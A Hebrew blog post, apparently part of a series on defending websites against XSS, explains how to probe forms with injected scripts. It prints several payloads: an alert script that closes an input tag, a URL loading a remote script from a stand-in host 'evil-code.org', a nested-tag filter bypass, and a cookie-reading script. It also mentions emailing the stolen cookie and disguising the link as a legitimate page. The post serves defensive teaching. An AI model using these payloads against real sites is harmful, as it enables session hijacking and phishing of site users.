המשך: התגוננות מפני פרצות XSS

כמו שהתחלתי להגיד בפוסטים קודמים של התגוננות מפני פרצות XSS (את החלקים הראשונים תוכלו למצוא כאן – הקדמה והקדמה – חלק שני), פרצות אלה קריטיות כאשר האתר מחזיק בפרטים חשובים של המשתמש.

על מנת לבדוק האם האתר שלך עמיד בפני התקפות כאלה  נתחיל בחיפוש פרצות על ידי השתלה של קוד ה-JavaScript שלנו בטפסים שבאתר שלנו. בחלק גדול מהמקרים, נוכל למצוא טפסים פגיעים בקלות על ידי חיפוש תיבות input של חיפוש, התחברות וכו'. ננסה להכניס לחלק זה של האתר סקריפט שסוגר את תג החיפוש ומקפיץ Alert בג'אווה סקריפט, כך:

<code>"&gt;&lt;script&gt;alert('xss check');&lt;/script&gt;</code>

ייתכן ולא נצליח לעשות את מה שרצינו כי תג ה-input לא נפתח עם " אלא עם תווים אחרים. במקרים כאלה, נציץ במקור הדף (ברוב המקרים Ctrl + U יעשה את העבודה) ונחפש את התג המתאים ואת המבנה שלו. כמו שאפשר לראות כל מה שצריך לעשות בשביל לנטרל את הפרצה הזו היא לעשות בדיקת קלט שמוחקת תווים מיוחדים (כמו למשל <, >) מהשאילתה, או קובץ של תווים ("<script>"). שימו לב שקיימות דרכים לעקוף בדיקת קלט בדף השולח – למשל, במידה ואנחנו שולחים נתונים ב-GET, ניתן לראות את הנתונים בשורת הכתובת, להכניס לשם את הקלט המזויף ובכך להתגבר על הבדיקה בדף השולח, שכן אנחנו שולחים את הטופס ידנית.

דוגמא טובה לכך היא זו:

http://www.website.com/search.php?q=
&lt;SCRIPT SRC='http://evil-code.org/evil_script.js'&gt; &lt;/SCRIPT&gt;

לכן כדאי מאוד לבדוק את הפרצה גם בדף שמקבל את הקלט. שימו לב שבדוגמא זו הרצתי קוד זדוני שמאוחסן על שרת שונה לגמרי, ובכך הרצתי כמות גדולה מאוד של קוד – הרבה יותר משורה אחת שמקפיצה הודעה. במידה ועולים עליי, אוכל פשוט למחוק את הסקריפט מהשרת ולבטל את השפעתו, או לחלופין לשנות את הקוד כך שייראה לגיטימי. במקרה כזה קל מאוד לשלוח קישור שמכיל את הסקריפט הזדוני בתור לינק לגיטימי לאתר בישול נהדר או לכל דוגמא אחרת.

דרך נוספת לעקוף בדיקת קלט שטחית, מתוחכמת לא פחות, היא להסוות את הקוד בתוך עצמו. לדוגמא, אם אשלח את הקוד הזה:

&lt;scr&lt;script&gt;ipt&gt;

פונקציה של מתכנת מתחיל תמחק את <script>, אבל ההאקר עדיין יצליח להחדיר את הקוד, בגלל המילה השבורה שלא נמצאה במעבר ראשון על הטקסט.

במידה ואכן קפצה הודעה שאומרת 'xss check', הצלחנו להחדיר אל האתר את הקוד.

במקרה כזה נוכל ברוב המקרים גם לגשת לעוגיות האתר:

<code>"&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;</code>

במקרה כזה, לאחר שבדקנו את תוכן העוגיה, נוכל לעשות פעולות עליה, כמו למשל לשלוח אותה במייל לעצמנו.

הוסף תגובה